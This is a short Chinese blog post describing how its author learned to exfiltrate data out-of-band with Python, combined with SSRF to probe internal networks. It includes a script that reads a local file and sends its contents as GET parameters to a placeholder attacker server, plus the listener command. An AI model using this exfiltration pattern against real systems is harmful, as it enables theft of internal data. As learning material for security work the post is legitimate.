关于python的数据带外学习

前言

今天学习大佬的测试报告,发现了一个有意思的东西:python简单的数据带外,配合ssrf对内网数据进行探测

也是从那会儿才知道,python的request原来还可以这么用

常见的 SSRF 攻击

SSRF 攻击通常利用信任关系升级来自易受攻击的应用程序的攻击并执行未经授权的操作。这些信任关系可能与服务器本身有关,或者与同一组织内的其他后端系统有关。

相关代码

import requests

headers ={
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'
}
r = requests.get("http://127.0.0.1/1.txt")
data = {
    "response":r.text
}
requests.get("http://你的带外服务器:8000",params=data)

实验目的

通过运行python代码,将本地的1.txt文件内容作为get请求的参数,带外回显到云服务器上面

图片[1]-关于python的数据带外学习-渗透云记 - 专注于网络安全与技术分享

服务器端运行:

python3 -m http.server

客户端运行脚本之后

图片[2]-关于python的数据带外学习-渗透云记 - 专注于网络安全与技术分享

可以发现,本地出网ip,文件内容都先试试出来了,成功带外

总结

感谢师傅分享的报告,谢谢

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容